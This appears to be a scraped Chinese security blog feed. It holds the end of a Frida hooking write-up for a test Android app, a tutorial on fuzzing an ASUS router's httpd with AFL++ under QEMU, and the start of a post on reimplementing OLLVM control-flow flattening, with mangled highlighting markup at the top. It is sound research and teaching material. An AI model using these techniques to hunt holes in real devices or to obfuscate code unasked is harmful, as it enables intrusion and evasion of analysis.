#89DDFF);">.</span>writeByteArray</span>(</span>this</span>.</span>arg1</span>,</span> [</span>0x78</span>,</span> 0x38</span>,</span> 0x36</span>,</span> 0x0</span>]</span>)</span>;</span></span> }</span> else</span> if</span> (</span>this</span>.</span>arg0</span> ===</span> "</span>ro.build.version.release</span>"</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>writeByteArray</span>(</span>this</span>.</span>arg1</span>,</span> [</span>0x39</span>,</span> 0x0</span>,</span> 0x0</span>,</span> 0x0</span>]</span>)</span>;</span></span> }</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] ret</span>"</span>,</span> retval</span>)</span>;</span></span> }</span></span> }</span>)</span>;</span></span> italic;">//</span> hook fopen</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> Module</span>.</span>findExportByName</span>(</span>"</span>libc.so</span>"</span>,</span> "</span>fopen</span>"</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] fopen addr</span>"</span>,</span> funcAddr</span>)</span></span> light-dark(#39ADB5, #89DDFF);">.</span>attach</span>(</span>funcAddr</span>,</span> {</span></span> arg0</span>:</span> "</span>"</span>,</span></span> onEnter</span>:</span> function</span> (</span>args</span>)</span> {</span></span> let</span> arg0</span> =</span> Memory</span>.</span>readCString</span>(</span>args</span>[</span>0</span>]</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] arg0</span>"</span>,</span> arg0</span>)</span>;</span></span> italic;">        if</span> (</span>arg0</span> ===</span> "</span>/data/2233</span>"</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>protect</span>(</span>args</span>[</span>0</span>]</span>,</span> 16</span>,</span> '</span>rwx</span>'</span>)</span>;</span></span> light-dark(#E53935, #F07178);">[</span>0</span>]</span>.</span>writeUtf8String</span>(</span>'</span>/data/local/tmp/2233</span>'</span>)</span>;</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[+] replaced by</span>"</span>,</span> Memory</span>.</span>readCString</span>(</span>args</span>[</span>0</span>]</span>)</span>)</span>;</span></span> }</span> else</span> if</span> (</span>arg0</span> ===</span> "</span>/data/local/tmp/2233</span>"</span>)</span> {</span></span> this</span>.</span>arg0</span> =</span> arg0</span>;</span></span> }</span></span> }</span>,</span></span> onLeave</span>:</span> function</span> (</span>retval</span>)</span> {</span></span> italic;">        if</span> (</span>this</span>.</span>arg0</span> ===</span> "</span>/data/local/tmp/2233</span>"</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>replace</span>(</span>123</span>)</span>;</span></span> }</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] ret</span>"</span>,</span> retval</span>)</span>;</span></span> }</span></span> }</span>)</span>;</span></span> italic;">//</span> replace fputs</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> Module</span>.</span>findExportByName</span>(</span>"</span>libc.so</span>"</span>,</span> "</span>fputs</span>"</span>)</span>;</span></span> const</span> fopen</span> =</span> new</span> NativeFunction</span>(</span>funcAddr</span>,</span> '</span>int</span>'</span>,</span> [</span>'</span>pointer</span>'</span>,</span> '</span>pointer</span>'</span>]</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>replace</span>(</span>funcAddr</span>,</span> new</span> NativeCallback</span>(</span>(</span>strPtr</span>,</span> filePtr</span>)</span> =></span> {</span></span> let</span> str</span> =</span> Memory</span>.</span>readCString</span>(</span>strPtr</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>'</span>[*] fputs</span>'</span>,</span> str</span>)</span>;</span></span> italic;">    return</span> str</span>.</span>length</span>;</span></span> }</span>,</span> '</span>int</span>'</span>,</span> [</span>'</span>pointer</span>'</span>,</span> '</span>pointer</span>'</span>]</span>)</span>)</span>;</span></span> italic;">//</span> Invoke i</span></span> light-dark(#39ADB5, #89DDFF);">.</span>perform</span>(</span>(</span>)</span> =></span> {</span></span> light-dark(#39ADB5, #89DDFF);">.</span>choose</span>(</span>"</span>com.example.test.MainActivity</span>"</span>,</span> {</span></span> onMatch</span>:</span> function</span> (</span>instance</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[+] onMatch</span>"</span>)</span>;</span></span> let</span> ret</span> =</span> instance</span>.</span>i</span>(</span>)</span>;</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] ret=</span>"</span>,</span> ret</span>)</span>;</span></span> }</span>,</span></span> onComplete</span>:</span> function</span> (</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[+] onComplete</span>"</span>)</span>;</span></span> }</span></span> }</span>)</span>;</span></span> }</span>)</span>;</span></span></code></pre>后记</h2> 能正确提交，然而题目中也没有提示...</p> script-api/">javascript-api</a></li> x2F;p/14726850.html">使用 Frida Hook 不同类型的函数（失效文章）</a></li>
这是我第一次对华硕路由器的 httpd 进行 fuzz。结果 fuzz 出来的结果没有经过实机测试，就提交上去了，然后就是华硕的安全团队复现不出来...为什么复现不出来，在本文总结处进行分析。本文主要讲我在进行固件 fuzz 时的具体过程。</p>
代码分析/逆向工程</h2>
华硕路由器的大部分源代码是公开的，可以在官网上下载到，并且有个开源的 RMerl/asuswrt-merlin.ng</a>。阅读源代码发现， httpd 的源代码中间调用了些博通的库，没法直接用编译器进行插桩。所以就当作源码不存在，直接下载二进制文件进行无文件 fuzz 了...</p>

2021 年 1 月 15 日，官网上突然载不到源代码了，所以请照着 RMerl/asuswrt-merlin.ng 项目进行代码审计。</p>
</blockquote>
这里选择的路由器是 rt-ac68u</a>，使用了 ARM 架构的 SOC。</p>

虽然引用了 OpenWRT 的链接，但是使用博通 SOC 的设备都不能刷 OpenWRT，因为(傻逼)博通对开源不友好</p>
</blockquote>
下载下来的 trx 文件可以直接用 binwalk 进行分析。看来用 binwalk -Me</code> 直接就能解压出固件了。</p>
~</span>/Downloads </span>></span> binwalk RT-AC68U_3.0.0.4_386_40558-gc48f410.trx </span></span>
</span>
DECIMAL</span>       HEXADECIMAL</span>     DESCRIPTION</span></span>
--------------------------------------------------------------------------------</span></span>
0</span>             0x0</span>             TRX</span> firmware</span> header,</span> little</span> endian,</span> image</span> size:</span> 42590208</span> bytes,</span> CRC32:</span> 0xD26A9F05,</span> flags:</span> 0x0,</span> version:</span> 1,</span> header</span> size:</span> 28</span> bytes,</span> loader</span> offset:</span> 0x1C,</span> linux</span> kernel</span> offset:</span> 0x19B7C8,</span> rootfs</span> offset:</span> 0x0</span></span>
28</span>            0x1C</span>            LZMA</span> compressed</span> data,</span> properties:</span> 0x5D,</span> dictionary</span> size:</span> 65536</span> bytes,</span> uncompressed</span> size:</span> 4034880</span> bytes</span></span>
1685448</span>       0x19B7C8</span>        Squashfs</span> filesystem,</span> little</span> endian,</span> version</span> 4.0,</span> compression:xz,</span> size:</span> 40902633</span> bytes,</span> 2832</span> inodes,</span> blocksize:</span> 131072</span> bytes,</span> created:</span> 2020-10-20</span> 04:30:45</span></span></code></pre>
解压完后在 squashfs-root/usr/sbin</code> 文件夹下找到 httpd。</p>
对照源代码和二进制文件，发现程序从 main</code> 函数开始一个链接，将此链接的 fd 存在 conn_fp</code> 中，然后进入请求处理函数 handle_request</code> 进行解析请求。</p>
    if</span> (</span>!</span>(</span>conn_fp </span>=</span> fdopen</span>(</span>item</span>-</span>></span>fd</span>,</span> "</span>r+</span>"</span>)</span>)</span>)</span> {</span></span>
        HTTPD_DBG</span>(</span>"</span>fdopen: skip</span>\n</span>"</span>)</span>;</span></span>
        perror</span>(</span>"</span>fdopen</span>"</span>)</span>;</span></span>
        goto</span> reset</span>;</span></span>
    }</span></span>
</span>
    http_login_cache</span>(</span>&</span>item</span>-</span>></span>usa</span>)</span>;</span></span>
</span>
    handle_request</span>(</span>)</span>;</span></span>
    fflush</span>(</span>conn_fp</span>)</span>;</span></span></code></pre>
之前爆出的漏洞很多都是在 handle_request</code> 中的，并且这个函数的代码量比较大，简单的代码审计已经看不出问题来了...所以就对这个函数进行 fuzz。</p>
模拟环境配置</h2>
跨平台编译链使用</h3>
这里我使用了 RMerl/am-toolchains</a>。通过使用 LD_LIBRARY_PATH</code> 指定链接库的位置，这样才能链接上相应的库。</p>
$</span> export</span> LD_LIBRARY_PATH=</span>"</span>/part/to/am-toolchains/brcm-arm-sdk/hndtools-arm-linux-2.6.36-uclibc-4.5.3/lib</span>"</span></span>
$</span> /part/to/am-toolchains/brcm-arm-sdk/hndtools-arm-linux-2.6.36-uclibc-4.5.3/bin/arm-uclibc-gcc</span></span>
arm-uclibc-gcc:</span> 没有输入文件</span></span></code></pre>
出现隐式声明函数时，但是这个函数又是 GNU 标准实现的函数的话，可以试着加入下面这句宏定义到代码开头。例如我在编译 libnvram 时出现 警告： 隐式声明函数‘strndup’</code>，加上下面这句宏定义就可以正常编译了。</p>
#</span>define</span> _GNU_SOURCE</span></span></code></pre>出现 /dev/nvram: Permission denied</code></h3>
宿主机上肯定没有 /dev/nvram</code> 啊，所以使用 QEMU 进行模拟时使用了 firmadyne/libnvram</a> 这个库 Hook 掉 nvram 的相关操作，然后将这个库添加到 LD_PRELOAD</code> 中。在使用时如果发现这个库没有创建 tmpfs 进行存储的话，那就手动用 sudo mount -t tmpfs -o size=10M tmpfs $挂载路径</code> 创建一个。可以修改 config.h</code> 实现将挂载路径放在别的目录下。例如我将挂载路径改动到了 /mnt/libnvram</code>。</p>
Hook __uClibc_main</code> 直接调用 handle_request</code></h3>
根据 Modern Vulnerability Research Techniques on Embedded Systems</a> 这篇文章，我通过 Hook __uClibc_main</code> 来实现直接 fuzz handle_request</code> 函数。</p>
由于在解析 http 请求时，程序使用了 fgets 等 c 语言相关函数，所以我决定使用普通的文件流代替 TCP 流。</p>
动态库的主要功能就是初始化被 fuzz 程序的相关变量，将 fuzz 的输入塞到程序中，然后运行函数，最后查看运行结果。</p>
//</span> gcc main_hook.c -o main_hook.so -fPIC -shared -ldl</span></span>
//</span> RTLD_NEXT is a GNU Extension</span></span>
#</span>define</span> _GNU_SOURCE</span></span>
#</span>include</span> <</span>stdio.h</span>></span></span>
#</span>include</span> <</span>dlfcn.h</span>></span></span>
</span>
/*</span> Trampoline for the real main() </span>*/</span></span>
static</span> int</span> (</span>*</span>main_orig</span>)</span>(</span>int</span>,</span> char</span> *</span>*</span>,</span> char</span> *</span>*</span>)</span>;</span></span>
</span>
/*</span> Our fake main() that gets called by __libc_start_main() </span>*/</span></span>
int</span> main_hook</span>(</span>int</span> argc</span>,</span> char</span> *</span>*</span>argv</span>,</span> char</span> *</span>*</span>envp</span>)</span></span>
{</span></span>
    //</span> Override origin conn_fp</span></span>
    FILE </span>*</span>*</span>fp </span>=</span> 0x</span>07D600</span>;</span></span>
    if</span> (</span>argc </span><</span> 2</span>)</span></span>
    {</span></span>
        fprintf</span>(</span>stderr</span>,</span> "</span>Please input filename</span>\n</span>"</span>)</span>;</span></span>
        return</span> 1</span>;</span></span>
    }</span></span>
    *</span>fp </span>=</span> fopen</span>(</span>argv</span>[</span>1</span>]</span>,</span> "</span>r+</span>"</span>)</span>;</span></span>
    if</span> (</span>*</span>fp </span>==</span> NULL</span>)</span></span>
    {</span></span>
        fprintf</span>(</span>stderr</span>,</span> "</span>Can't open file</span>\n</span>"</span>)</span>;</span></span>
        return</span> 2</span>;</span></span>
    }</span></span>
    //</span> Get handle_request function's address and run</span></span>
    int</span> (</span>*</span>do_thing_ptr</span>)</span>(</span>)</span> =</span> 0x</span>EEB0</span>;</span></span>
    int</span> ret_val </span>=</span> (</span>*</span>do_thing_ptr</span>)</span>(</span>)</span>;</span></span>
    printf</span>(</span>"</span>Ret val </span>%d</span>\n</span>"</span>,</span> ret_val</span>)</span>;</span></span>
    return</span> 0</span>;</span></span>
}</span></span>
</span>
/*</span></span>
 * Wrapper for __libc_start_main() that replaces the real main</span></span>
 * function with our hooked version.</span></span>
 */</span></span>
int</span> __uClibc_main</span>(</span></span>
    int</span> (</span>*</span>main</span>)</span>(</span>int</span>,</span> char</span> *</span>*</span>,</span> char</span> *</span>*</span>)</span>,</span></span>
    int</span> argc</span>,</span></span>
    char</span> *</span>*</span>argv</span>,</span></span>
    int</span> (</span>*</span>init</span>)</span>(</span>int</span>,</span> char</span> *</span>*</span>,</span> char</span> *</span>*</span>)</span>,</span></span>
    void</span> (</span>*</span>fini</span>)</span>(</span>void</span>)</span>,</span></span>
    void</span> (</span>*</span>rtld_fini</span>)</span>(</span>void</span>)</span>,</span></span>
    void</span> *</span>stack_end</span>)</span></span>
{</span></span>
    /*</span> Save the real main function address </span>*/</span></span>
    main_orig </span>=</span> main</span>;</span></span>
</span>
    /*</span> Find the real __libc_start_main()... </span>*/</span></span>
    typeof</span>(</span>&</span>__uClibc_main</span>)</span> orig </span>=</span> dlsym</span>(</span>RTLD_NEXT</span>,</span> "</span>__uClibc_main</span>"</span>)</span>;</span></span>
</span>
    /*</span> ... and call it with our custom main function </span>*/</span></span>
    return</span> orig</span>(</span>main_hook</span>,</span> argc</span>,</span> argv</span>,</span> init</span>,</span> fini</span>,</span> rtld_fini</span>,</span> stack_end</span>)</span>;</span></span>
}</span></span></code></pre>使用 qemu-arm 进行模拟</h3>
这里使用了 qemu-arm 进行用户态模拟，在 -L</code> 参数中加上解压出来的 squashfs-root</code> 的路径，并在 -E</code> 参数后的 LD_PRELOAD</code> 变量加上 Hook 的库。</p>
如果出现下面的情况，那就手动写入到缺失的文件中。</p>
nvram_get_buf:</span> Unable</span> to</span> open</span> key:</span> /mnt/libnvram/某些字段</span></span>
qemu:</span> uncaught</span> target</span> signal</span> 11</span> (Segmentation</span> fault</span>) - core dumped</span></span></code></pre>python3</span> -</span>c</span> '</span>open("/mnt/libnvram/某些字段", "w").write("0")</span>'</span></span></code></pre>
当看到下面的结果时，说明程序真的跑起来了。</p>
$</span> qemu-arm</span> -</span>L</span> ./squashfs-root</span> -</span>E</span> LD_PRELOAD=./libnvram.so:./main_hook.so</span> ./squashfs-root/usr/sbin/httpd</span> ./test.txt</span></span>
nvram_get_buf:</span> x_Setting</span></span>
sem_lock:</span> Already</span> initialized!</span></span>
sem_get:</span> Key:</span> 414a0001</span></span>
sem_get:</span> Key:</span> 414a0001</span></span>
nvram_get_buf:</span> =</span> "</span>0</span>"</span></span>
.</span>.</span>.</span></span></code></pre>fuzz 前准备</h2>
获取输入数据</h3>
可以去别的项目中寻找他们的测试样例，然后用脚本提取出来。下面是提取 "http-parser" 这个项目的样例，并写入文件中。</p>
from</span> re</span> import</span> compile</span></span>
</span>
with</span> open</span>(</span>'</span>./http-parser/test.c</span>'</span>,</span> '</span>r</span>'</span>)</span> as</span> f</span>:</span></span>
    text</span> =</span> f</span>.</span>read</span>(</span>)</span></span>
</span>
start_re</span> =</span> compile</span>(</span>'</span>raw= "(.+)"</span>'</span>)</span></span>
middle_re</span> =</span> compile</span>(</span>'</span>"(.+)"</span>'</span>)</span></span>
end_re</span> =</span> compile</span>(</span>'</span>should_keep_alive</span>'</span>)</span></span>
temp_lst</span> =</span> [</span>]</span></span>
begin_record</span> =</span> False</span></span>
count</span> =</span> 0</span></span>
</span>
for</span> line</span> in</span> text</span>.</span>split</span>(</span>'</span>\n</span>'</span>)</span>:</span></span>
    if</span> matched</span> :=</span> start_re</span>.</span>findall</span>(</span>line</span>)</span>:</span></span>
        temp_lst</span> +=</span> matched</span></span>
        begin_record</span> =</span> True</span></span>
    elif</span> matched</span> :=</span> middle_re</span>.</span>findall</span>(</span>line</span>)</span>:</span></span>
        if</span> begin_record</span>:</span></span>
            temp_lst</span> +=</span> matched</span></span>
    elif</span> end_re</span>.</span>findall</span>(</span>line</span>)</span> and</span> len</span>(</span>temp_lst</span>)</span>:</span></span>
        content</span> =</span> '</span>'</span>.</span>join</span>(</span>temp_lst</span>)</span>.</span>replace</span>(</span>'</span>\\</span>r</span>\\</span>n</span>'</span>,</span> '</span>\r</span>\n</span>'</span>)</span></span>
        with</span> open</span>(</span>f</span>'</span>corpus/http_</span>{</span>count</span>}</span>.txt</span>'</span>,</span> '</span>w</span>'</span>)</span> as</span> f</span>:</span></span>
            f</span>.</span>write</span>(</span>content</span>)</span></span>
        count</span> +=</span> 1</span></span>
        temp_lst</span>.</span>clear</span>(</span>)</span></span>
        begin_record</span> =</span> False</span></span>
</span></code></pre>获取字典</h3>
AFLplusplus/AFLplusplus</a> 项目中的 dictionaries</code> 目录中就有一些字典，可以拿来使用。</p>
使用 ramdisk</h3>
由于 fuzz 比较消耗硬盘读写，所以通过下面的命令，使用内存盘减少硬盘消耗。</p>
mkdir</span> /mnt/ramdisk</span></span>
mount</span> -</span>t</span> tmpfs</span> -</span>o</span> size=2048M</span> tmpfs</span> /mnt/ramdisk</span></span></code></pre>使用 AFL++ 进行异架构 Fuzz</h2>
AFL++ 是个不错的项目，扩展了原版 AFL，并且有详细的文档和样例代码（有这两项就已经超越了90%++的开源项目了）。</p>
AFL++ 用了 git submodule 进行导入其他项目，编译时建议使用 proxychains 或者设置 http_proxy</code> 环境变量来强制 git 走代理进行 clone，加快速度。其他的编译事项在 README</code> 里写的非常详细了。我们需要 fuzz 的程序是 arm 架构的，所以在编译 QEMU 时加上 CPU_TARGET=arm</code> 环境变量，指定 QEMU 编译架构。</p>
最后就是运行 AFL++ 了。参数中 -Q</code> 指定 QEMU 模式，-m none</code> 指定内存限制为没有，-i</code> 和 -o</code> 对应的则是输入和输出。程序使用文件方式读入数据，所以最后加上 @@</code>。</p>
export</span> "</span>QEMU_SET_ENV=LD_PRELOAD=./libnvram.so:./main_hook.so</span>"</span></span>
export</span> "</span>QEMU_LD_PREFIX=./squashfs-root</span>"</span></span>
export</span> "</span>AFL_INST_LIBS=1</span>"</span></span>
export</span> "</span>AFL_NO_FORKSRV=1</span>"</span></span>
/part/to/AFLplusplus/afl-fuzz</span> -</span>Q</span> -</span>m</span> none</span> -</span>i</span> corpus/</span> -</span>o</span> output/</span> ./squashfs-root/usr/sbin/httpd</span> @@</span></span></code></pre>
然后就是喜闻乐见的显示信息窗口了。</p>
</p>
调试</h2>
对 qemu-user 进行模拟的程序，可以通过 -g</code> 参数，开启 gdbserver,然后在本机使用 gdb-multiarch</code> 进行调试。</p>
先使用 qemu-arm 加上 -g</code> 选项启动程序。</p>
qemu-arm</span> -</span>g</span> $</span>端口号</span></span></code></pre>
然后使用 gdb-multiarch $程序</code> 和 target remote :$端口号</code> 命令连接上 server。最后就是正常的使用 gdb 进行调试了。</p>
等待完善的地方</h2>
在进行 fuzz 后，我发现 AFL++ 在 QEMU 模式下，也使用 Persist 模式，如果能使用 Persist 模式的话，可以大幅提高 Fuzz 效率。演示代码在 AFL++ 项目的 utils</code> 目录。</p>
使用 master/slave 模式启动多个 fuzzer 进行 fuzz，提高 fuzz 效率。</p>
总结</h2>
这是一篇时隔几个月才写的复现文章，之前还是比较忙，所以没时间写文章。</p>
在这几个月里，我突然明白了为什么报上去的漏洞别人复现不了，因为 firmadyne/libnvram</a> 这个项目在 key 不存在时返回了 NULL，然后 httpd 中的部分地方又没有对值为 NULL 的情况做处理，测试时找的网络上的路由器可能存在着已经被新版本修复的漏洞，所以才会碰巧“测试成功”。然而真机在通常情况下存在这个 key，并且修复了大量的漏洞，所以复现失败。</p>
当然，如果有人看完这篇文章，并且借助这篇文章的经验挖到了洞，能不能给我留个评论，让我膜拜一下...</p>
refs</h2>
参考文章</p>
Modern Vulnerability Research Techniques on Embedded Systems</a></p>
提及/使用到的项目</p>
firmadyne/libnvram</a></p>
RMerl/asuswrt-merlin.ng</a></p>
RMerl/am-toolchains</a></p>
AFLplusplus/AFLplusplus</a></p>
google/fuzzing</a></p>


重写 OLLVM 之控制流平坦化
2021-01-21T00:00:00+00:00
OLLVM 的控制流平坦化是逆向老哥最讨厌的混淆了，因为一旦使用就代表着 IDA 的 decompiler 彻底报废了。所以了解并在自己的项目中</a>重写控制流平坦化挺重要的。</p>
什么是控制流平坦化</h2>
名词解释</h3>
BasicBlock</h4>
代码块，以跳转语句结尾的一段代码。</p>
语言描述控制流平坦化的实现</h3>
在 OLLVM 中，Pass 先实现一个永真循环，然后再在这个循环中放入 switch 语句，将代码中除了开始块的所有 BasicBlock 放入这个 switch 语句的不同 case 中，通过修改 switch 的条件，来实现 BasicBlock 之间的跳转。</p>
可行的修复方法</h3>
在 利用符号执行去除控制流平坦化</a> 讲解了恢复控制流平坦化的方法，并且在 cq674350529/deflat</a> 使用了 angr 进行实现。</p>
这里引用腾讯 SRC 的思路概括</p>


函数的开始地址为序言的地址</li>
序言的后继为主分发器</li>
后继为主分发器的块为预处理器</li>
后继为预处理器的块为真实块</li>
无后继的块为retn块</li>
剩下的为无用块</li>
</ol>
</blockquote>
怎么实现</h2>
在开始前，先展示一个普通的，带有 if</code> 语句的程序的控制流图。</p>
   +--------------------------------------+</span></span>
   | entry:                               |</span></span>
   |  ...                                 |</span></span>
   |  compare instruction                 |</span></span>
   |  br %cmp_res, label %if, label %else |</span></span>
   +-------------------+-----------+------+</span></span>
                       |           |</span></span>
         +-------------+           |</span></span>
         v                         v</span></span>
+--------+-------+        +--------+-------+</span></span>
| if:            |        | else:          |</span></span>
|  br label %end |        |  br label %end |</span></span>
+--------+-------+        +--------+-------+</span></span>
         |                         |</span></span>
         +-----------+-------------+</span></span>
                     v</span></span>
                  +--+---+</span></span>
                  | end: |</span></span>
                  |  ... |</span></span>
                  +------+</span></span>
</span></code></pre>
首先，先判断函数的 BasicBlock 数量，如果只有一个 BasicBlock，那么就不用进行混淆了。然后将函数中原有的的 BasicBlock 存放到容器中备用，并排除第一个 BasicBlock，因为第一个 BasicBlock 要做特殊处理。</p>
bool</span> runOnFunction</span>(</span>Function</span> &</span>F</span>)</span> override</span> {</span></span>
  //</span> Only one BB in this Function</span></span>
  if</span> (</span>F</span>.</span>size</span>(</span>)</span> <=</span> 1</span>)</span> {</span></span>
    return</span> false</span>;</span></span>
  }</span></span>
</span>
  //</span> Insert All BB into originBB</span></span>
  SmallVector</span><</span>BasicBlock </span>*</span>,</span> 0</span>></span> originBB</span>;</span></span>
  for</span> (</span>BasicBlock </span>&</span>bb </span>:</span> F</span>)</span> {</span></span>
    originBB</span>.</span>emplace_back</span>(</span>&</span>bb</span>)</span>;</span></span>
    if</span> (</span>isa</span><</span>InvokeInst</span>></span>(</span>bb</span>.</span>getTerminator</span>(</span>)</span>)</span>)</span> {</span></span>
      return</span> false</span>;</span></span>
    }</span></span>
  }</span></span>
  </span></span>
  //</span> Remove first BB</span></span>
  originBB</span>.</span>erase</span>(</span>originBB</span>.</span>begin</span>(</span>)</span>)</span>;</span></span>
}</span></span></code></pre>
然后，将第一个 BasicBlock 和他结尾的 BranchInst 进行分割，并将第一个 BasicBlock 和后面的 BB 断绝关系。</p>
//</span> If firstBB's terminator is BranchInst, then split into two blocks</span></span>
BasicBlock </span>*</span>firstBB </span>=</span> &</span>*</span>F</span>.</span>begin</span>(</span>)</span>;</span></span>
if</span> (</span>BranchInst </span>*</span>br </span>=</span> dyn_cast</span><</span>BranchInst</span>></span>(</span>firstBB</span>-></span>getTerminator</span>(</span>)</span>)</span>)</span> {</span></span>
  BasicBlock</span>::</span>iterator iter </span>=</span> firstBB</span>-></span>end</span>(</span>)</span>;</span></span>
  if</span> (</span>firstBB</span>-></span>size</span>(</span>)</span> ></span> 1</span>)</span> {</span></span>
    --</span>iter</span>;</span></span>
  }</span></span>
  BasicBlock </span>*</span>tempBB </span>=</span> firstBB</span>-></span>splitBasicBlock</span>(</span>--</span>iter</span>)</span>;</span></span>
  originBB</span>.</span>insert</span>(</span>originBB</span>.</span>begin</span>(</span>)</span>,</span> tempBB</span>)</span>;</span></span>
}</span></span>
</span>
//</span> Remove firstBB</span></span>
firstBB</span>-></span>getTerminator</span>(</span>)</span>-></span>eraseFromParent</span>(</span>)</span>;</span></span></code></pre>
经过处理后程序控制流图如下。</p>
   +--------------------------------------+</span></span>
   | entry:                               |</span></span>
   |  ...                                 |</span></span>
   +--------------------------------------+</span></span>
</span>
   +--------------------------------------+</span></span>
   | tempBB:                              |</span></span>
   |  compare instruction                 |</span></span>
   |  br %cmp_res, label %if, label %else |</span></span>
   +-------------------+-----------+------+</span></span>
                       |           |</span></span>
         +-------------+           |</span></span>
         v                         v</span></span>
+--------+-------+        +--------+-------+</span></span>
| if:            |        | else:          |</span></span>
|  br label %end |        |  br label %end |</span></span>
+--------+-------+        +--------+-------+</span></span>
         |                         |</span></span>
         +-----------+-------------+</span></span>
                     v</span></span>
                  +--+---+</span></span>
                  | end: |</span></span>
                  |  ... |</span></span>
                  +------+</span></span>
</span></code></pre>
接下来就是创建主循环和 switch 语句。先在第一个 BB 处创建 switch 使用的条件变量，然后创建循环的开头 BB，循环结束 BB，switch 的 default 块，最后将他们用 Br 相连起来。</p>
//</span> Create main loop</span></span>
BasicBlock </span>*</span>loopEntry </span>=</span> BasicBlock</span>::</span>Create</span>(</span>F</span>.</span>getContext</span>(</span>)</span>,</span> "</span>Entry</span>"</span>,</span> &</span>F</span>)</span>;</span></span>
BasicBlock </span>*</span>loopEnd </span>=</span> BasicBlock</span>::</span>Create</span>(</span>F</span>.</span>getContext</span>(</span>)</span>,</span> "</span>End</span>"</span>,</span> &</span>F</span>)</span>;</span></span>
BasicBlock </span>*</span>swDefault </span>=</span> BasicBlock</span>::</span>Create</span>(</span>F</span>.</span>getContext</span>(</span>)</span>,</span> "</span>Default</span>"</span>,</span> &</span>F</span>)</span>;</span></span>
//</span> Create switch variable</span></span>
IRBuilder</span><</span>></span> entryBuilder</span>(</span>firstBB</span>,</span> firstBB</span>-</span>></span>end</span>(</span>)</span>)</span>;</span></span>
AllocaInst </span>*</span>swPtr </span>=</span> entryBuilder</span>.</span>CreateAlloca</span>(</span>entryBuilder</span>.</span>getInt32Ty</span>(</span>)</span>)</span>;</span></span>
StoreInst </span>*</span>storeRng </span>=</span></span>
    entryBuilder</span>.</span>CreateStore</span>(</span>entryBuilder</span>.</span>getInt32</span>(</span>rng</span>(</span>)</span>)</span>,</span> swPtr</span>)</span>;</span></span>
entryBuilder</span>.</span>CreateBr</span>(</span>loopEntry</span>)</span>;</span></span>
//</span> Create switch statement</span></span>
IRBuilder</span><</span>></span> swBuilder</span>(</span>loopEntry</span>)</span>;</span></span>
LoadInst </span>*</span>swVar </span>=</span> swBuilder</span>.</span>CreateLoad</span>(</span>swPtr</span>)</span>;</span></span>
SwitchInst </span>*</span>swInst </span>=</span> swBuilder</span>.</span>CreateSwitch</span>(</span>swVar</span>,</span> swDefault</span>,</span> 0</span>)</span>;</span></span>
BranchInst </span>*</span>dfTerminator </span>=</span> BranchInst</span>::</span>Create</span>(</span>loopEntry</span>,</span> swDefault</span>)</span>;</span></span>
BranchInst </span>*</span>toLoopEnd </span>=</span> BranchInst</span>::</span>Create</span>(</span>loopEntry</span>,</span> loopEnd</span>)</span>;</span></span></code></pre>
经过处理后的程序控制流图如下</p>
   +--------------------------------------+            +--------------------------------------+</span></span>
   | entry:                               |            | tempBB:                              |</span></span>
   |  ...                                 |            |  compare instruction                 |</span></span>
   +-------------------+------------------+            |  br %cmp_res, label %if, label %else |</span></span>
                       |                               +-------------------+-----------+------+</span></span>
                       v v---------------------+                           |           |</span></span>
      +----------------+-----------------+     |             +-------------+           |</span></span>
      | Entry:                           |     |             v                         v</span></span>
      |  switch i32 %al, label %Default  |     |    +--------+-------+        +--------+-------+</span></span>
      +----------------+-----------------+     |    | if:            |        | else:          |</span></span>
                       |                       |    |  br label %end |        |  br label %end |</span></span>
       v---------------+                       |    +--------+-------+        +--------+-------+</span></span>
+----------------+                             |             |                         |</span></span>
| Default:       |                             |             +-----------+-------------+</span></span>
|  br label %End |                             |                         v</span></span>
+------+---------+                             |                      +--+---+</span></span>
       |                                       |                      | end: |</span></span>
       +-----------------v                     |                      |  ... |</span></span>
                 +------------------+          |                      +------+</span></span>
                 | End:             |          |</span></span>
                 |  br label %Entry |          |</span></span>
                 +--------+---------+          |</span></span>
                          |                    |</span></span>
                          |                    |</span></span>
                          +--------------------+</span></span>
</span></code></pre>
然后就是重头戏了：将 BB 们放入 switch 的 case 中。首先先将循环的结尾移动到 BB 后，然后再放入 case 中。然后再判断 BB 的结尾的语句有多少个继承块，如果为 0 个的话，说明是返回语句，那么就不需要管；如果是 1 个的话，说明是无条件跳转语句，那么就计算与其相连的下一个块的 case 值，并更新 switch 的条件变量的值；如果为 2 个的话，说明是一个条件跳转，则根据条件语句 SelectInst 决定下一个块执行的位置;如果是其他情况，则保持该 BB 不变。最后更新下初始的 switch 条件变量的值，保证第一个块的执行。</p>
//</span> Put all BB into switch Instruction</span></span>
for</span> (</span>BasicBlock </span>*</span>bb </span>:</span> originBB</span>)</span> {</span></span>
  bb</span>-></span>moveBefore</span>(</span>loopEnd</span>)</span>;</span></span>
  swInst</span>-></span>addCase</span>(</span>swBuilder</span>.</span>getInt32</span>(</span>rng</span>(</span>)</span>)</span>,</span> bb</span>)</span>;</span></span>
}</span></span>
</span>
//</span> Recalculate switch Instruction</span></span>
for</span> (</span>BasicBlock </span>*</span>bb </span>:</span> originBB</span>)</span> {</span></span>
  switch</span> (</span>bb</span>-></span>getTerminator</span>(</span>)</span>-></span>getNumSuccessors</span>(</span>)</span>)</span> {</span></span>
  case</span> 0</span>:</span></span>
    //</span> No terminator</span></span>
    break</span>;</span></span>
  case</span> 1</span>:</span> {</span></span>
    //</span> Terminator is a non-condition jump</span></span>
